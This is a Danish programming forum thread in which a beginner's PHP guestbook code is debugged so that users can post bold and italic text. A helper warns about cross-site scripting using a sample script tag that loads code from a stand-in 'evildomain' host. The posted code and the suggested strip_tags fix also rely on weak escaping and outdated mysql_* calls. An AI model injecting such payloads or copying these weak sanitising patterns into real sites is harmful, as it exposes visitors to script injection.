Avatar billede berner5300 Nybegynder
23. maj 2011 - 18:56 Der er 18 kommentarer og
1 løsning

Skrive html tags

Heej alle

Er der nogen der ved hvordan man kan få sin php siden til at skrive med fed, understreget og skrå, altså <b>,<u> og <i>.

Hvordan kan man gøre dette?

Hvis i skal bruge php koden, skriver i det bare :)
Avatar billede pstidsen Novice
23. maj 2011 - 19:01 #1
<b>fed tekst her</b>, <u>understreget tekst her</u> eller hvad er det lige du mener??
Avatar billede berner5300 Nybegynder
23. maj 2011 - 19:08 #2
Min php kode ser sådan her ud.

[quote]
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/ (...)
<html>
<head>
    <title>Min egen gæstebog!</title>
   
        <link href="style.css" media="all" rel="stylesheet" type="text/css" />

</head>
<body>
<!-- Vi laver gæstebogen i en fil, dette er det nemmeste. Vi laver 2 link, et til hvor man skrive i gæstebogen, og et til hvor man kan se i gæstebogen. -->
<a href="?valg=skriv">Skriv i gæstebogen</a> - <a href="./">Kig i gæstebogen</a><br><br>
<?php
if($_GET[valg] == "skriv") { // Vi ser om brugeren har trykket på 'skriv i gæstebogen' med 'if'.
?>
<!-- Her laver vi en html form. 'Action' viser hvad der vil bliver vist i URL'en, hvis alt er iorden. -->

<form action="?valg=skrivok" method="POST">
<b>Navn:</b> <br>
<input type="text" name="navn" size="20"><br>
<b>E-mail:</b> <br>
<input type="text" name="email" size="20"><br>
<b>Overskrift:</b> <br>
<input type="text" name="overskrift" size="20"><br>
<b>Besked:</b><br>
<textarea name="besked" rows="7" cols="24"></textarea><br>
<input type="submit" value="Send">
</form>
<?php
} // Vi afslutter '{' ovenfor.
if($_GET[valg] == "skrivok") { // Laver en GET for at se om alt er udfyldt.
    if($_POST[navn] == "") { // Vi ser om der er skrevet i navn.
        echo("Du skal udfylde feltet <b>Navn</b>");
    } else {
        if($_POST[email] == "") { // Vi ser om der er skrevet i email.
            echo("Du skal udfylde feltet <b>E-mail</b>");
        } else {
            if($_POST[overskrift] == "") { // Vi ser om der er skrevet en overskrift.
                echo("Du skal udfylde feltet <b>Overskrift</b>");
            } else {
                if($_POST[besked] == "") { // Vi ser om der er skrevet en besked.
                    echo("Du skal udfylde feltet <b>Besked</b>");
                } else {
                    if(strlen($_POST[besked]) < "10") { // Vi ser om beskeden er over 10 bogstaver.
                        echo("Det var en kort besked");
                    } else {
                        if(is_numeric($_POST[navn])) { // Vi ser om der er skrevet tal i 'Navn'.
                            echo("Jeg har aldrig hørt om tal, i et navn!");
                        } else {
                            $dato = date('d/m/Y - H:i'); // Vi gemmer datoen og klokken i variabel $dato og fremkalder datoen og klokken. 'd' står for dag, 'm' for måned, 'y' for år, 'h' for timer, 'i' for minuter, 's' for sekunder.
                            $ip = $_SERVER[REMOTE_ADDR]; // Vi gemmer '$_SERVER[REMOTE_ADDR]' som variabel '$ip'.
                            $navn = htmlspecialchars($_POST[navn]); // Vi gemmer '$_POST[navn])' som variabel '$navn' og sørge for at brugeren ikke kan bruge html i dette felt.
                            $email = htmlspecialchars($_POST[email]); // Vi gemmer '$_POST[email])' som variabel '$email' og sørge for at brugeren ikke kan bruge html i dette felt.
                            $overskrift = htmlspecialchars($_POST[overskrift]); // Vi gemmer '$_POST[overskrift])' som variabel '$overskrift' og sørge for at brugeren ikke kan bruge html i dette felt.
                            $besked = htmlspecialchars($_POST[besked]); // Vi gemmer '$_POST[beksed])' som variabel '$besked' og sørge for at brugeren ikke kan bruge html i dette felt.
                            if(!get_magic_quotes_gpc()) { // Vi laver en sikkerhed.
                                $navn = addslashes($navn);
                                $email = addslashes($email);
                                $besked = addslashes($besked);
                                $overskrift = addslashes($overskrift);
                            }
                            include("db_connection.php"); // Vi inkludere 'db_connection.php' filen som sørge for der er forbindelse til databasen.
                            mysql_query("INSERT INTO gaestbog (dato, ip, navn, email, besked, overskrift) VALUES ('$dato', '$ip', '$navn', '$email', '$besked', '$overskrift')") or die(mysql_error()); // Vi sætter alle brugerens POSTER ind i databasen.
                            echo("Tak for din besked!");
                        } // Vi afslutter vores is_numeric($_POST[navn]
                    } // Vi afslutter vores strlen($_POST[besked]) < "10")
                } // Vi afslutter vores $_POST[besked]
            } // Vi afslutter vores $_POST[overskrift]
        } // Vi afslutter vores $_POST[email]
    } // Vi afslutter vores $_POST[navn]
} // Vi afslutter vores $_GET
if(!$_GET[valg] == "skrivok") { // Vi ser om vores '$_GET[valg] == "skrivok"' er valgt.
    include("db_connection.php");
    $hent = mysql_query("SELECT * FROM gaestbog ORDER BY id DESC") or die(mysql_error()); // Vi henter alle data ud af mysql databasen
    if(mysql_num_rows($hent)) { // Vi ser om der er noget i mysql databasen
        while($vis = mysql_fetch_array($hent)) { // Vi bruger 'while' for at få alle data ud af mysql, og omdanner dem til fx. $vis[navn]; funktion.
?>
<table border="0" width="100%" class="test" >
    <tr>
        <td>
            <table class="left" border="0" width="100%">
                <tr>
                    <td><h2><? echo $vis[overskrift]; ?></h2></td>
                </tr>
                <tr>
                    <td class="borderstreg">Af <b><a href="mailto:<? echo $vis[email]; ?>"><? echo $vis[navn]; ?></a></b> - <? echo $vis[dato]; ?></td>
                </tr>
                <tr>
                    <td><? echo strip_tags(nl2br($vis[besked]), "<i><u><b><br /><p><a>"); ?></td>
                </tr>
            </table>
        </td>
    </tr>
</table>
<td class="borderstreg"></td>
<?
        }
    } else {
        echo("Der blev intet fundet i databasen.");
    }
}
?>
</body>
</html>
[/quote]

Hjemmeside: Offlines

Når jeg skriver fx <b> så viser den bare <b>, ikke fed skrift.
Avatar billede pstidsen Novice
23. maj 2011 - 19:22 #3
Skal du ikke have lukket dit doctype tag??
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/ (...)
<html>
??
Avatar billede berner5300 Nybegynder
23. maj 2011 - 19:24 #4
Den viser ikke det hele og hvordan laver du en blå boks?
Avatar billede pstidsen Novice
23. maj 2011 - 19:26 #5
kan du så ikke lægge HELE koden herind: www.pastepin.com ??

Skriv (div)tekst het(/div) og skift () ud med []
Avatar billede berner5300 Nybegynder
23. maj 2011 - 19:29 #6
Her er koden :)
Avatar billede pstidsen Novice
23. maj 2011 - 19:32 #7
Avatar billede berner5300 Nybegynder
23. maj 2011 - 19:34 #8
Hvad er det?
Avatar billede pstidsen Novice
23. maj 2011 - 19:35 #9
tog koden og puttede ind på min side og jeg syens da det ser lidt sjovt ud??
Avatar billede berner5300 Nybegynder
23. maj 2011 - 19:37 #10
Du mangler at koble sammen med databasen..

http://www.offlines.dk/123123/
Avatar billede heinzdmx Nybegynder
23. maj 2011 - 19:40 #11
Kigger du på kildekoden på siden kan du se at < bliver encoded til &lt;

Derfor bliver det ikke læst som HTML, men i stedet vises det som tekst.

Det er dine htmlspecialchars kald der gør det, læs kommentaren til hvor der direkte står:
$besked = htmlspecialchars($_POST[besked]); // Vi gemmer '$_POST[beksed])' som variabel '$besked' og sørge for at brugeren ikke kan bruge html i dette felt.
Avatar billede berner5300 Nybegynder
23. maj 2011 - 19:42 #12
Hvordan laver man det så man kan gøre det til fed og det ??
Avatar billede berner5300 Nybegynder
23. maj 2011 - 19:44 #13
Tak mester. Jeg fandt ud af det. Det var en stor fail af mig :)

Skriv du bare et svar :)
Avatar billede heinzdmx Nybegynder
23. maj 2011 - 19:46 #14
Jeg lægger et svar her :)

Men bemærk at du bør lave en eller anden form for sikkerhed omkring det, specielt <script> tags bør du sørge for ikke indsættes
Avatar billede berner5300 Nybegynder
23. maj 2011 - 19:47 #15
Hvilket <script> ??
Avatar billede heinzdmx Nybegynder
23. maj 2011 - 19:52 #16
Hvis brugeren af din gæstebog poster følgende:

<b>Hej, sikke en fed blog <script type="text/javascript" src="evildomain.dk/evilscript.js"></b>

Så vil din kode gøre at det kører.

Det er det der er kendt som XSS, crossside scripting.
Avatar billede berner5300 Nybegynder
23. maj 2011 - 19:54 #17
Altså så du siger at jeg skal lave noget sikkerhed, så man ikke kan poste javascript?? eller hvad?
Avatar billede heinzdmx Nybegynder
23. maj 2011 - 20:02 #18
Ja præcis.

Du bør i stedet bruge:


$besked = strip_tags($_POST[besked], '<i><b>');


Det sørger for at det kun er tilladt at poste <i> og <b> tags og andet ikke er tilladt.

(når du skriver <i> er </i> automatisk også med)
Avatar billede berner5300 Nybegynder
23. maj 2011 - 20:04 #19
Arh. Den havde jeg også skrevet, men det forkerte sted fandt jeg lige her nu. Men du får lige point :)

Mange tak for hjælpen :)
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Kurser inden for grundlæggende programmering

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester